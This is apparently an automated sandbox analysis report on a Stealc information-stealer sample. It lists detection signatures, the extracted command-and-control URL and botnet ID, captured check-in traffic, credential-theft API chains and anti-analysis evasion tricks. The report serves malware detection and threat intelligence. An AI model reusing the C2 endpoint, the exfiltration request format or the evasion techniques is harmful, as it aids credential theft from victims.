Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1525663
MD5:	1840b3a6769699f03fca969af6b4e883
SHA1:	53eeeb33aec86d2f03dc021351ffb61c1118aadd
SHA256:	247b59e9bb5df7c640981d51f2df6fd618414f802f3ce049c6fb469cf8a3a66d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7400 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1840B3A6769699F03FCA969AF6B4E883)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1688759783.0000000005130000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7400	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T13:51:06.058208+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.e0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_000EC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000E7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_000E7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_000E9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000E9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_000E9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_000F8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_000F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_000EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_000EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_000EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_000F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_000EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_000F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000E16D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 44 43 44 38 41 33 44 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="hwid"53BDCD8A3D9D1524750037------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="build"doma------AKKECAFBFHJDGDHIEHJD--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000E4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_000E4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 44 43 44 38 41 33 44 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="hwid"53BDCD8A3D9D1524750037------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="build"doma------AKKECAFBFHJDGDHIEHJD--

Source: file.exe, 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001253000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7b0923665da6f1
Source: file.exe, 00000000.00000002.1729629409.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHRPb
Source: file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.1729629409.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37v

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848	0_2_00412848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B1170	0_2_004B1170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0046C9C4	0_2_0046C9C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B6380	0_2_004B6380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041738D	0_2_0041738D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B2C63	0_2_004B2C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A74C6	0_2_004A74C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AA4BD	0_2_004AA4BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0049C563	0_2_0049C563
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004BCD23	0_2_004BCD23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F5D6	0_2_0057F5D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B7E77	0_2_004B7E77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AF68D	0_2_004AF68D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003E7EDF	0_2_003E7EDF

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 000E45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: zlzhjqsn ZLIB complexity 0.9950953584558824

Source: file.exe, 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1688759783.0000000005130000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_000F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_000F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\UX9THANN.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1897472 > 1048576

Source: file.exe

Static PE information: Raw size of zlzhjqsn is bigger than: 0x100000 < 0x1a9000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;zlzhjqsn:EW;kjlhrbah:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;zlzhjqsn:EW;kjlhrbah:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_000F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1db9bd should be: 0x1d5331

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zlzhjqsn
Source: file.exe	Static PE information: section name: kjlhrbah
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push ebx; mov dword ptr [esp], 49B1D488h	0_2_0041285E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push 5F9963D8h; mov dword ptr [esp], esi	0_2_004128C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push edi; mov dword ptr [esp], ecx	0_2_004129C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push 68C06886h; mov dword ptr [esp], edx	0_2_004129CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push 0FDF1D17h; mov dword ptr [esp], edi	0_2_00412A83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push edi; mov dword ptr [esp], 48F34100h	0_2_00412A88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00412848 push eax; mov dword ptr [esp], esi	0_2_00412AB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C053 push 3F0CDF26h; mov dword ptr [esp], ebx	0_2_0079C100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C053 push esi; mov dword ptr [esp], 2199DFF4h	0_2_0079C11F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C053 push ecx; mov dword ptr [esp], 60A9E047h	0_2_0079C131
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C053 push 70E9487Ah; mov dword ptr [esp], ecx	0_2_0079C160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C0861 push edx; mov dword ptr [esp], eax	0_2_004C0865
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000FB035 push ecx; ret	0_2_000FB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00521818 push ebx; mov dword ptr [esp], eax	0_2_00521826
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C01B push ecx; mov dword ptr [esp], 4FA3DA43h	0_2_0079C035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C01B push 3F0CDF26h; mov dword ptr [esp], ebx	0_2_0079C100
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C01B push esi; mov dword ptr [esp], 2199DFF4h	0_2_0079C11F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C01B push ecx; mov dword ptr [esp], 60A9E047h	0_2_0079C131
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0079C01B push 70E9487Ah; mov dword ptr [esp], ecx	0_2_0079C160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059903C push eax; mov dword ptr [esp], esp	0_2_00599080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055B0DD push eax; mov dword ptr [esp], ecx	0_2_0055B130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D10D9 push eax; mov dword ptr [esp], ebx	0_2_004D3704
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F0EC push edx; mov dword ptr [esp], ebx	0_2_0057F120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F0EC push ecx; mov dword ptr [esp], esi	0_2_0057F171
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CF896 push edx; mov dword ptr [esp], 1A5D505Dh	0_2_005CF92A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CF896 push edx; mov dword ptr [esp], 6EF0AF82h	0_2_005CF98C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CF896 push 238F0BC2h; mov dword ptr [esp], edi	0_2_005CFA43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D28D6 push ebp; mov dword ptr [esp], ecx	0_2_003D28FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00344938 push 653564A0h; mov dword ptr [esp], eax	0_2_0034935F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0056A174 push ebp; mov dword ptr [esp], ecx	0_2_0056A194
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059296B push 43ABD101h; mov dword ptr [esp], eax	0_2_005929A9

Source: file.exe

Static PE information: section name: zlzhjqsn entropy: 7.955253982546698

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_000F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13577

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342155 second address: 342169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jnp 00007F8B150D74F0h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342169 second address: 341A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 cmc 0x00000007 push dword ptr [ebp+122D0421h] 0x0000000d mov dword ptr [ebp+122D1C3Eh], esi 0x00000013 call dword ptr [ebp+122D1BC1h] 0x00000019 pushad 0x0000001a xor dword ptr [ebp+122D218Ch], ecx 0x00000020 xor eax, eax 0x00000022 jnl 00007F8B146BCD65h 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c sub dword ptr [ebp+122D218Ch], edi 0x00000032 mov dword ptr [ebp+122D2B01h], eax 0x00000038 jns 00007F8B146BCD5Fh 0x0000003e pushad 0x0000003f cld 0x00000040 je 00007F8B146BCD56h 0x00000046 popad 0x00000047 mov esi, 0000003Ch 0x0000004c sub dword ptr [ebp+122D218Ch], edi 0x00000052 sub dword ptr [ebp+122D218Ch], esi 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c add dword ptr [ebp+122D218Ch], ebx 0x00000062 lodsw 0x00000064 jnp 00007F8B146BCD5Ch 0x0000006a mov dword ptr [ebp+122D19ADh], ebx 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jne 00007F8B146BCD5Ch 0x0000007a mov ebx, dword ptr [esp+24h] 0x0000007e sub dword ptr [ebp+122D218Ch], ebx 0x00000084 pushad 0x00000085 add dword ptr [ebp+122D19ADh], edx 0x0000008b add edx, 33F31554h 0x00000091 popad 0x00000092 push eax 0x00000093 push eax 0x00000094 push edx 0x00000095 pushad 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341A0B second address: 341A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341A11 second address: 341A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
